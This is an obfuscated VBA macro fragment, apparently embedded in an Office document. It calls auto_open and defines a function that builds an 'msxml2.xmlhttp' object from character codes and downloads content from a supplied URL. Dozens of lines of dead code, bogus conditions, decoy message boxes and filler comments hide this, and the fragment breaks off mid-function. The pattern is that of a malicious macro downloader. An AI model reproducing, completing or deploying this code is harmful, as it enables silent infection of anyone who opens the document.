jaduxocm:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 587851 = 587851 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 9314 < 21 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(103) & Chr(112) & Chr(118) & Chr(122) & Chr(110) & Chr(99) & Chr(103) & Chr(114) & Chr(57) & Chr(51))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(103) & Chr(104) & Chr(99) & Chr(108) & Chr(108) & Chr(99) & Chr(98) & Chr(101) & Chr(51) & Chr(53) & Chr(55) & Chr(55)) = Len(Chr(99) & Chr(114) & Chr(114) & Chr(102) & Chr(106) & Chr(103) & Chr(112) & Chr(122)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    auto_open
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End Sub
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Function trzfcrwihtc(ByVal ejckdfuqggu As String, ByVal kxqaxtgwbnh As String) As Boolean
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
     Dim ocpvmgeelcx As Object, ayemzbpjsak As Long, zgbpbucckrp As Long, wvavhsolbur() As Byte
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo hsgzhsmu
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim oetdulop As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(85) & Chr(83) & Chr(85) & Chr(82) & Chr(80) & Chr(77) & Chr(46) & Chr(85) & Chr(80) & Chr(85) For Binary As 29
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 114274 = 114274 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1948 < 75 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(118) & Chr(122) & Chr(112) & Chr(97) & Chr(104) & Chr(105) & Chr(113) & Chr(115) & Chr(50) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(119) & Chr(99) & Chr(106) & Chr(106) & Chr(117) & Chr(112) & Chr(115) & Chr(100) & Chr(50) & Chr(55) & Chr(57) & Chr(56)) = Len(Chr(118) & Chr(97) & Chr(109) & Chr(114) & Chr(103) & Chr(105) & Chr(115) & Chr(108)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #29, , oetdulop
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 145749 = 145749 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 4412 < 47 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(117) & Chr(116) & Chr(119) & Chr(112) & Chr(119) & Chr(110) & Chr(112) & Chr(111) & Chr(54) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(98) & Chr(110) & Chr(104) & Chr(107) & Chr(110) & Chr(105) & Chr(117) & Chr(104) & Chr(53) & Chr(50) & Chr(54) & Chr(50)) = Len(Chr(105) & Chr(103) & Chr(99) & Chr(102) & Chr(99) & Chr(98) & Chr(108) & Chr(103)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #29
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 836356 = 836356 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3964 < 85 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(102) & Chr(104) & Chr(118) & Chr(112) & Chr(110) & Chr(120) & Chr(112) & Chr(104) & Chr(57) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(114) & Chr(98) & Chr(98) & Chr(107) & Chr(122) & Chr(121) & Chr(110) & Chr(98) & Chr(54) & Chr(50) & Chr(51) & Chr(55)) = Len(Chr(121) & Chr(114) & Chr(101) & Chr(114) & Chr(112) & Chr(114) & Chr(98) & Chr(116)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
hsgzhsmu:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 822118 = 822118 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 2276 < 15 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(106) & Chr(120) & Chr(116) & Chr(114) & Chr(100) & Chr(109) & Chr(104) & Chr(118) & Chr(51) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(118) & Chr(115) & Chr(111) & Chr(101) & Chr(120) & Chr(100) & Chr(115) & Chr(106) & Chr(51) & Chr(49) & Chr(51) & Chr(54)) = Len(Chr(108) & Chr(116) & Chr(105) & Chr(111) & Chr(103) & Chr(108) & Chr(110) & Chr(116)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    Set ocpvmgeelcx = CreateObject(Chr(109) & Chr(115) & Chr(120) & Chr(109) & Chr(108) & Chr(50) & Chr(46) & Chr(120) & Chr(109) & Chr(108) & Chr(104) & Chr(116) & Chr(116) & Chr(112))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    ocpvmgeelcx.Open Chr(71) & Chr(69) & Chr(84), ejckdfuqggu, False
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo fkgnbngl
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim lfxwswys As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(83) & Chr(84) & Chr(90) & Chr(87) & Chr(78) & Chr(73) & Chr(46) & Chr(83) & Chr(90) & Chr(69) For Binary As 37
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 557928 = 557928 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3963 < 85 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(119) & Chr(98) & Chr(101) & Chr(102) & Chr(116) & Chr(111) & Chr(110) & Chr(103) & Chr(52) & Chr(55))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(114) & Chr(98) & Chr(110) & Chr(102) & Chr(106) & Chr(98) & Chr(114) & Chr(116) & Chr(54) & Chr(50) & Chr(51) & Chr(54)) = Len(Chr(121) & Chr(101) & Chr(101) & Chr(110) & Chr(110) & Chr(99) & Chr(114) & Chr(115)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #37, , lfxwswys
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 347236 = 347236 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3113 < 34 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(122) & Chr(100) & Chr(120) & Chr(106) & Chr(122) & Chr(101) & Chr(101) & Chr(103) & Chr(55) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(105) & Chr(122) & Chr(110) & Chr(103) & Chr(113) & Chr(99) & Chr(98) & Chr(117) & Chr(52) & Chr(56) & Chr(54) & Chr(52)) = Len(Chr(101) & Chr(120) & Chr(118) & Chr(109) & Chr(114) & Chr(122) & Chr(100) & Chr(109)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #37
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 979162 = 979162 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3491 < 99 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(108) & Chr(102) & Chr(103) & Chr(120) & Chr(102) & Chr(103) & Chr(103) & Chr(116) & Chr(56) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(111) & Chr(98) & Chr(104) & Chr(114) & Chr(104) & Chr(118) & Chr(114) & Chr(102) & Chr(52) & Chr(51) & Chr(52) & Chr(50)) = Len(Chr(113) & Chr(122) & Chr(108) & Chr(106) & Chr(99) & Chr(120) & Chr(114) & Chr(109)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
fkgnbngl:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 634598 = 634598 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7877 < 96 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(109) & Chr(116) & Chr(114) & Chr(112) & Chr(108) & Chr(103) & Chr(110) & Chr(104) & Chr(49) & Chr(55))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(97) & Chr(119) & Chr(105) & Chr(111) & Chr(97) & Chr(117) & Chr(120) & Chr(111) & Chr(49) & Chr(49) & Chr(52) & Chr(49)) = Len(Chr(120) & Chr(102) & Chr(117) & Chr(102) & Chr(109) & Chr(100) & Chr(111) & Chr(120)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    ocpvmgeelcx.send
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    Do While ocpvmgeelcx.readystate <> 4
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo uqwnmpen
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim dyemutmj As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(79) & Chr(65) & Chr(84) & Chr(73) & Chr(67) & Chr(68) & Chr(46) & Chr(75) & Chr(76) & Chr(82) For Binary As 25
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 881643 = 881643 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 2516 < 71 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(111) & Chr(108) & Chr(109) & Chr(120) & Chr(113) & Chr(121) & Chr(103) & Chr(114) & Chr(56) & Chr(53))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(98) & Chr(114) & Chr(120) & Chr(101) & Chr(100) & Chr(103) & Chr(116) & Chr(100) & Chr(53) & Chr(55) & Chr(55) & Chr(57)) = Len(Chr(97) & Chr(117) & Chr(118) & Chr(106) & Chr(109) & Chr(102) & Chr(114) & Chr(108)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #25, , dyemutmj
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 272254 = 272254 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 9561 < 89 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(100) & Chr(110) & Chr(101) & Chr(113) & Chr(108) & Chr(116) & Chr(101) & Chr(111) & Chr(55) & Chr(50))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(100) & Chr(116) & Chr(122) & Chr(122) & Chr(100) & Chr(116) & Chr(100) & Chr(105) & Chr(51) & Chr(56) & Chr(51) & Chr(52)) = Len(Chr(117) & Chr(118) & Chr(122) & Chr(121) & Chr(121) & Chr(113) & Chr(110) & Chr(119)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #25
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 148677 = 148677 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1384 < 68 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(119) & Chr(108) & Chr(121) & Chr(110) & Chr(121) & Chr(120) & Chr(120) & Chr(101) & Chr(50) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(108) & Chr(102) & Chr(115) & Chr(106) & Chr(119) & Chr(118) & Chr(99) & Chr(114) & Chr(50) & Chr(49) & Chr(51) & Chr(52)) = Len(Chr(119) & Chr(108) & Chr(104) & Chr(101) & Chr(114) & Chr(120) & Chr(99) & Chr(113)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
uqwnmpen:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 819916 = 819916 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 5858 < 76 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(107) & Chr(102) & Chr(108) & Chr(98) & Chr(110) & Chr(100) & Chr(103) & Chr(106) & Chr(54) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(108) & Chr(108) & Chr(108) & Chr(104) & Chr(109) & Chr(100) & Chr(98) & Chr(104) & Chr(57) & Chr(49) & Chr(50) & Chr(50)) = Len(Chr(100) & Chr(115) & Chr(106) & Chr(109) & Chr(102) & Chr(108) & Chr(100) & Chr(101)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    DoEvents
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo zgksahqs
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim ipnyfpee As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(89) & Chr(72) & Chr(74) & Chr(70) & Chr(70) & Chr(72) & Chr(46) & Chr(89) & Chr(68) & Chr(74) For Binary As 11
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 439317 = 439317 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1876 < 74 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(100) & Chr(108) & Chr(113) & Chr(117) & Chr(117) & Chr(113) & Chr(109) & Chr(111) & Chr(50) & Chr(53))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
